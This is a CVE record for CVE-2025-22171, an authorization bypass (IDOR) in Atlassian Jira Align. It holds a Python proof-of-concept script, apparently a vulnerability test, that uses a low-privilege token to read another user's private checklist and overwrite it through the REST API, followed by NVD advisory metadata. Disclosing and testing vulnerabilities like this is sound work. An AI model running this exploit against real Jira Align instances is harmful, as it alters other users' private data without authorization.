CVE-2025-22171

# CVE-2025-22171 PoC - Jira Align Authorization Bypass # Description: Low-privilege user can modify private checklists of other users # CVSS: 4.3 (Medium) import requests import json TARGET_URL = "https://jira-align.example.com" ATTACKER_TOKEN = "your_low_privilege_token" TARGET_USER_ID = "victim_user_id" CHECKLIST_ID = "victim_checklist_id" def exploit_unauthorized_checklist_access(): """ This PoC demonstrates the IDOR vulnerability in Jira Align where a low-privilege user can modify other users' private checklists """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json", "X-Atlassian-Token": "no-check" } # Step 1: Attempt to access another user's private checklist # The vulnerable endpoint does not properly validate ownership target_checklist_url = f"{TARGET_URL}/rest/api/v2/checklists/{CHECKLIST_ID}" response = requests.get(target_checklist_url, headers=headers) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") # Step 2: Modify the victim's private checklist # Exploit the IDOR by providing target user's ID in the request modify_payload = { "title": "Modified by Attacker", "items": ["Malicious item 1", "Malicious item 2"], "ownerId": TARGET_USER_ID, "isPrivate": False } modify_url = f"{TARGET_URL}/rest/api/v2/checklists/{CHECKLIST_ID}" modify_response = requests.put(modify_url, headers=headers, json=modify_payload) if modify_response.status_code == 200: print("[!] VULNERABLE: Successfully modified victim's checklist") print(f"[!] Modified checklist data: {modify_response.text}") else: print("[-] Patch may be applied or different endpoint required") if __name__ == "__main__": print("CVE-2025-22171 - Jira Align IDOR Vulnerability Test") print("Target: Low-privilege user modifying other users' checklists") exploit_unauthorized_checklist_access()

{"cve": {"id": "CVE-2025-22171", "sourceIdentifier": "[email protected]", "published": "2025-10-22T17:15:57.497", "lastModified": "2025-10-24T14:24:33.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jira Align is vulnerable to an authorization issue. A low-privilege user is able to alter the private checklists of other users."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:atlassian:jira_align:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.14.0", "versionEndExcluding": "11.16.1", "matchCriteriaId": "FE85D038-4C13-4104-B53E-F3022F5D8117"}]}]}], "references": [{"url": "https://jira.atlassian.com/browse/JIRAALIGN-8640", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}